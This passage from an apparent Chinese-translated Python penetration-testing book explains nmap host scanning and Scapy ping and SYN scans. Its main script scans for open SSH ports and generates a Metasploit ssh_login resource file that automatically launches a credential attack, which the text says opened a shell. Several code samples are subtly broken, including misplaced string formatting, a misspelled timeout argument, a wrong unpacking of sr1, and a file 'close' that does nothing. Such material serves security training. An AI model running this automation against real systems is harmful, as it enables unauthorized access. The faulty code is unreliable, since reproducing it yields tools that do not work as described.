为了突出这一点,我们可以创建一个接受 CLI 参数的脚本,以扫描特定的主机和端口。由于我们从 CLI 接受参数,我们需要导入 sys 库,并且因为我们正在使用nmap
库进行扫描,我们需要导入nmap
。请记住,在导入 Python 中不是原生的库时使用条件处理程序;这样可以使工具的可维护性简单,并且更加专业。
import sys
try:
import nmap
except:
sys.exit("[!] Install the nmap library: pip install python-nmap")
一旦库被导入,脚本可以设计参数要求。我们至少需要两个参数。这意味着如果参数少于两个或多于两个,脚本应该失败并显示帮助消息。请记住脚本名称算作第一个参数,所以我们必须将其增加到3
。所需参数的结果产生以下代码:
# Argument Validator
if len(sys.argv) != 3:
sys.exit("Please provide two arguments the first being the targets the second the ports")
ports = str(sys.argv[2])
addrs = str(sys.argv[1])
现在,如果我们运行nmap_scanner.py
脚本而没有任何参数,我们应该会收到错误消息,如下截图所示:
这是脚本的基本框架,您可以在其中构建实际的扫描器。这是一个非常小的组件,相当于实例化类,然后将地址和端口传递给它,然后打印出来:
scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
if not scanner[host].hostname():
print("The host's IP address is %s and it's hostname was not found") % (host)
else:
print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())
这个极小的脚本为您提供了快速执行必要扫描的手段,如下截图所示。这个测试显示了系统的虚拟接口,我已经用本地主机标识符和接口 IP 地址进行了测试。在使用本地主机标识符进行扫描时,有两件事需要注意:您将收到一个主机名。如果您扫描系统的 IP 地址而没有查询名称服务,您将无法识别主机名。以下截图显示了此脚本的输出:
注意
此脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_scannner.py
找到。
因此,这里的重大好处是现在您可以开始自动化系统的利用——到一定程度。这些类型的自动化应该相对温和,以便如果某些事情失败,它不会对环境的保密性、完整性或可用性造成损害或影响。您可以通过Metasploit Framework 的远程过程调用(MSFRPC)或通过自动构建可以执行的资源文件来执行此操作。例如,让我们简单地构建一个资源文件,该文件可以执行凭据攻击以检查默认的 Kali 凭据;您已经更改了它们,对吧?
我们需要通过编写类似于我们在 Metasploit 控制台中执行的命令的行来生成一个文件。因此,通过执行search ssh_login
来查看 Metasploit 的ssh_login
模块,然后在使用msfconsole
加载控制台后显示选项。识别所需的选项。以下屏幕截图显示了可以设置的示例项目:
其中一些项目已经设置,但缺少的组件是远程主机的 IP 地址和我们将要测试的凭据。默认端口已设置,但如果您的脚本设计用于测试不同端口,则也必须设置。您会注意到凭据不是必需字段,但要执行凭据攻击,您确实需要它们。为此,我们将使用 Python 中的write
函数打开并创建一个文件。我们还将将缓冲区大小设置为零,以便数据自动写入文件,而不是采用操作系统默认值将数据刷新到文件。
脚本还将创建一个单独的资源文件,其中包含它识别的每个主机的 IP 地址。运行此脚本的附加好处是它创建了一个启用 SSH 的目标列表。将来,您应该尝试构建不仅设计用于测试单个服务的脚本,但这是一个很好的开始示例。我们将建立在先前的脚本概念基础上,但再次构建函数以模块化它。这将使您更容易将其转换为类。首先,我们添加ifacedetails.py
脚本和导入的库的所有函数。然后我们将修改脚本的参数代码,以便它接受更多参数:
# Argument Validator
if len(sys.argv) != 5:
sys.exit("[!] Please provide four arguments the first being the targets the second the ports, the third the username, and the fourth the password")
password = str(sys.argv[4])
username = str(sys.argv[3])
ports = str(sys.argv[2])
hosts = str(sys.argv[1])
现在构建一个函数,它将接受传递给它的详细信息,然后创建一个资源文件。您将创建包含必要值的字符串变量,这些值将被写入ssh_login.rc
文件。然后使用先前提到的简单打开命令和相关的bufsize
将详细信息写入文件中。现在文件中已经写入了字符串值。完成该过程后,关闭文件。请记住,当您查看set_rhosts
值的字符串值时。请注意,它指向一个包含每行一个 IP 地址的文件。因此,我们需要生成此文件,然后将其传递给此函数:
def resource_file_builder(dir, user, passwd, ips, port_num, hosts_file):
ssh_login_rc = "%s/ssh_login.rc" % (dir)
bufsize=0
set_module = "use auxiliary/scanner/ssh/ssh_login \n"
set_user = "set username " + username + "\n"
set_pass = "set password " + password + "\n"
set_rhosts = "set rhosts file:" + hosts_file + "\n"
set_rport = "set rport" + ports + "\n"
execute = "run\n"
f = open(ssh_login_rc, 'w', bufsize)
f.write(set_module)
f.write(set_user)
f.write(set_pass)
f.write(set_rhosts)
f.write(execute)
f.closed
接下来,让我们构建实际的target_identifier
函数,它将使用 nmap 库扫描使用提供的端口和 IP 的目标。首先,它清除ssh_hosts
文件的内容。然后检查扫描是否成功。如果扫描成功,脚本将通过扫描识别的每个主机启动for
查找。对于这些主机中的每一个,它加载接口字典并遍历键值对。
密钥保存接口名称,值是一个嵌入式字典,保存该接口的每个值的详细信息,映射到以前ifacedetails.py
脚本中显示的命名键。'addr'
键的值与扫描中的host
进行比较。如果两者匹配,则主机属于评估者的盒子,而不是被评估的组织。当这种情况发生时,主机值设置为None
,目标不会添加到ssh_hosts
文件中。最后检查验证端口是否实际上是 SSH 端口并且是打开的。然后将该值写入ssh_hosts
文件并返回给主函数。脚本不会阻止本地主机 IP 地址,因为我们留下它进行测试,并且要突出显示作为比较,如果您想包括这个功能,修改这个模块:
def target_identifier(dir,user,passwd,ips,port_num,ifaces):
bufsize = 0
ssh_hosts = "%s/ssh_hosts" % (dir)
scanner = nmap.PortScanner()
scanner.scan(ips, port_num)
open(ssh_hosts, 'w').close()
if scanner.all_hosts():
e = open(ssh_hosts, 'a', bufsize)
else:
sys.exit("[!] No viable targets were found!")
for host in scanner.all_hosts():
for k,v in ifaces.iteritems():
if v['addr'] == host:
print("[-] Removing %s from target list since it
belongs to your interface!") % (host)
host = None
if host != None:
home_dir="/root"
ssh_hosts = "%s/ssh_hosts" % (home_dir)
bufsize=0
e = open(ssh_hosts, 'a', bufsize)
if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
print("[+] Adding host %s to %s since the service is active on %s") %
(host,ssh_hosts,port_num)
hostdata=host + "\n"
e.write(hostdata)
if not scanner.all_hosts():
e.closed
if ssh_hosts:
return ssh_hosts
现在脚本需要在执行之前设置一些默认值。最简单的方法是在参数验证器之后设置它们。查看您的脚本,在函数之外消除重复项(如果有的话),并在参数验证器之后放置以下代码:
home_dir="/root"
gateways = {}
network_ifaces={}
脚本的最后一个更改是包含一个测试,以查看它是作为独立脚本执行还是作为导入模块执行。我们一直在执行这些脚本,但最好的做法是包含一个简单的检查,以便将脚本转换为类。这个检查的唯一作用是查看执行的模块的名称是否为main
,如果是,那么它意味着它是一个独立的脚本。当这种情况发生时,它将__name__
设置为'__main__'
,表示独立脚本。
看一下以下代码,按照必要性的顺序执行相关函数。这是为了识别可利用的主机并将详细信息传递给资源文件生成器:
if __name__ == '__main__':
gateways = get_gateways()
network_ifaces = get_networks(gateways)
hosts_file = target_identifier(home_dir,username,
password,hosts,ports,network_ifaces)
resource_file_builder(home_dir, username,
password, hosts, ports, hosts_file)
您经常会在互联网上看到调用main()
函数而不是一堆函数的脚本。这在功能上等同于我们在这里所做的,但是您可以创建一个main()
函数,放在if __name__ == '__main__':
上面,其中包含前面的细节,然后按照这里突出显示的方式执行它:
if __name__ == '__main__':
main()
通过这些小的改变,你可以根据扫描结果自动生成资源文件。最后,将脚本名称更改为ssh_login.py
,然后保存并运行它。运行脚本时,它会生成配置和执行利用所需的代码。然后,您可以使用-r
选项运行资源文件,如下面的截图所示。正如您可能已经注意到的,我进行了一次测试运行,包括我的接口 IP 地址,以突出显示内置的错误检查,然后对本地主机执行了测试。我验证了资源文件是否正确创建,然后运行它。
一旦进入控制台,您可以看到资源文件独自执行了攻击,并获得了以下结果。绿色的+
符号表示在 Kali 盒子上打开了一个 shell。
资源文件也可以在 Metasploit 中使用resource
命令调用,后面跟着文件名。对于这次攻击,可以使用以下命令调用资源ssh_login.rc
,这将产生相同的结果。然后,您可以看到与使用session -i <session number>
命令启动交互的新会话的交互。
以下截图显示了在 Kali 实例中验证用户名和主机名:
当然,你不会想对你的正常攻击盒这样做,但它提供了三个关键项目,它们需要被强调。始终更改默认密码;否则,即使在参与过程中,你也可能成为受害者。还要更改你的 Kali 实例主机名为一些防御性网络工具不会检测到的内容,并且始终在使用之前测试你的漏洞利用。
注意
有关 Python nmap 库的更多详细信息,请访问xael.org/norman/python/python-nmap/
。
现在,通过对 nmap、nmap 库和自动生成 Metasploit 资源文件的理解,你已经准备好开始学习 scapy 了。
注意
这个脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ssh_login.py
找到。
Python 的 Scapy 库
欢迎来到 Scapy,这是一个设计用于操纵、发送和读取数据包的 Python 库。Scapy 是那些具有广泛适用性的工具之一,但它可能看起来很复杂。在我们开始之前,有一些关于 Scapy 的基本规则需要理解,这将使创建脚本变得更容易。
首先,参考前面的部分,了解 TCP 标志及其在 Scapy 中的表示方式。你需要查看前面提到的标志及其相关位置来使用它们。其次,当 Scapy 接收到发送的数据包的响应时,标志由 TCP 头的第 13 个八位字节中的八进制格式的二进制位表示。因此,你必须根据这些信息来读取响应。
查看下表,它表示了每个标志的二进制位置值:
因此,当你从 TCP 数据包的响应中寻找特定类型的标志时,你必须进行计算。前面的表将帮助简化这一过程,但请记住,如果你曾经使用过或者使用过tcpdump
,那么传输的材料是相同的。例如,如果你正在寻找一个 SYN 数据包,你会看到第 13 个八位字节的值为 2。如果是 SYN + ACK,它的值将是 18。只需将标志值相加,你就会得到你要找的内容。
接下来要记住的一件事是,如果你尝试 ping 回环接口或本地主机,数据包将不会被组装。这是因为内核拦截了请求,并通过系统的 TCP/IP 堆栈在内部处理。这是人们在使用 Scapy 时经常遇到的错误之一,他们经常因此放弃。因此,与其深入修复数据包以便它们能够到达你自己的 Kali 实例,不如启动你的 Metasploitable 实例或尝试测试你的默认网关。
提示
如果你想了解更多关于测试回环接口或本地主机值的信息,你可以在www.secdev.org/projects/scapy/doc/troubleshooting.html
找到解决方案。
因此,我们将重点介绍使用 Scapy 测试连接,然后扫描 Web 端口。你必须了解,Scapy 有多种发送和接收数据包的方法,取决于你想要提取的数据,可能不需要复杂的方法。首先,看看你想要实现什么。如果你想保持独立于操作系统,你应该使用sr()
来处理第 3 层数据,使用srp()
来处理第 2 层数据。接下来,如果方法在函数名后面但在()
符号前面有1
,比如sr1()
,这意味着它只返回第一个答案。这通常足以实现大多数结果,但如果有多个数据包需要评估,你将需要放弃这些类型的方法。
接下来是send()
方法,它使用操作系统默认的第 2 层和一些操作系统能力的第 3 层及以上。最后是sendp()
,它使用自定义的第 2 层头部。这可以使用Ether()
方法来表示以太网帧头部。这对于无线网络或基于理论安全性的虚拟局域网(VLAN)分割网络的地方非常有用。这是因为无线通信在第 2 层操作,VLAN 也在这一层被识别。
注意
基于 VLAN 的访问控制列表(ACL)被大多数评估者认为是一个烦恼的原因,而不是安全性。这是因为在大多数网络中,你可以通过操纵第 2 层帧的头部轻松地跳转网络段。随着经验的增加,你将经常在实际网络中看到这方面的例子。
所以,导入 Scapy 库,然后设置一个变量,其中包含你想要 ping 的目标 IP 地址。创建一个数据包,其中包含你想要发送到目标主机的通信细节和标志。然后设置一个响应变量来接收sr1()
函数的结果:
#!/usr/bin/env python
try:
from scapy.all import *
except:
sys.exit("[!] Install the scapy libraries with: pip install
scapy")
ip = "192.168.195.2"
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timout=10)
现在你看到你得到了一个答案,这意味着主机很可能是存活的。你可以通过以下测试来验证:
if resp == None:
print("The host is down")
else:
print("The host is up")
当你测试这个时,你会看到 ping 扫描的结果是成功的,如下所示:
我们成功地 ping 了主机,并通过证明响应变量不为空来验证了它。从这里,我们现在可以检查它是否有一个开放的 web 端口。为了实现这一点,我们将执行一个 SYN 扫描。然而,在这样做之前,要明白当你从连接尝试中收到一个响应时,你会收到答案和未答案数据。所以,最好的做法是将它们分开,幸运的是,由于 Scapy 和 Python 的语法,这是非常容易的。你只需将响应传递给两个不同的变量,第一个是答案,第二个是未答案,如下所示:
answers,unanswers = sr1(icmp, timout=10)
通过这个简单的改变,你现在可以清理数据返回,以便更容易操作。此外,你可以通过简单地在answers
或unanswers
后附加.summary()
来从这些细节中获得摘要。如果你正在迭代从0
到1024
的端口列表,你可以通过将值按位置传递给answers
变量来查看特定端口的具体结果。所以,如果你想要查看端口80
的答案扫描结果,你可以像这样将值传递给列表:answers[80]
。这些答案都包含了发送和接收的数据包,但这些可以像前面的例子一样进一步分割,如下面的代码所示:
sent, received = answers[80]
请记住,这个例子只适用于端口80
,因为你指定了你想要从中提取数据的位置。如果你没有将一个位置值传递给answers
变量,你将把所有发送的数据包放在sent
变量中,所有接收的数据包放在received
变量中。
现在你已经列出了基本信息,你可以开发一个数据包,发送到目标,然后接收结果。在继续之前需要讨论的一件事是,从头开始构建一个数据包是多么容易,首先构建 IP 头部,然后是 TCP 头部。接下来,你将数据传递给扫描器,它会识别目标是存活还是不存活。你可以配置它,使之没有超时值,但我强烈不建议这样做,因为你可能永远等待而没有返回。下面的脚本是用来识别192.168.195.1
主机,并确定 web 端口是否开放的:
#!/usr/bin/env python
from scapy.all import *
ip = "192.168.195.1"
dst_port = 80
headers=IP(dst=ip)/TCP(dport=dst_port, flags="S")
answers,unanswers=sr(headers,timeout=10)
正如你在下面的截图中所看到的,系统做出了回应。前面的脚本可以独立运行,或者你可以使用交互式解释器执行每一行,就像这里所示的那样:
现在可以从answers
变量中提取细节。请记住,这是一个列表,所以你应该递增每个值。发送的第一个数据包将由位置 0 表示,因此之后的每个位置表示原始数据包之后接收到的 IP 数据包:
for a in answers:
print(a[1][1].flags)
然而,列表中的每个值实际上是另一个包含更多数据的列表。在 Python 中,我们称之为矩阵,但不要担心!它很容易导航。首先,请记住我们使用了sr()
函数,这意味着结果将来自第 3 层及以上。每个嵌套列表都是用于上面的协议;在这种情况下,它将是 TCP。我们执行了一个 SYN 扫描,因此我们正在寻找一个 SYN + ACK 响应。查看前面的部分来计算你要找的值。通过参考与 TCP 标志相关的前面部分,你会发现在头部中你要找的值是 18,以验证 SYN + ACK 响应,这可以通过添加ACK = 16
的位置值和SYN = 2
的位置值来计算。下面的截图显示了实际结果,显示端口是打开的。理解这些概念将使你能够在未来的脚本中使用 Scapy。
你现在对 Scapy 有了基本的了解,但不用担心!你还没有完成它。Scapy 具有相当多的功能,我们只是触及了一部分,并且它不仅可以执行简单的扫描,还可以操纵网络流量。许多嵌入式设备和工业控制系统使用独特的通信形式来为其他单元提供命令和控制。有时,当 nmap 被阻止时,你会意识到需要识别活动设备。Scapy 可以帮助你完成所有这些任务。
总结
在本章中,涵盖了关于在网络上识别活动主机、可行的目标以及不同通信模型的许多细节。为了帮助你理解协议以及它们的通信方式,我们讨论了它们在数据包和帧级别的不同形式。本章以使用 Python 的nmap
和Scapy
库自动利用主机来支持目标识别而告终。在下一章中,我们将在这些概念的基础上,看看如何利用字典、暴力和密码喷射攻击来利用服务。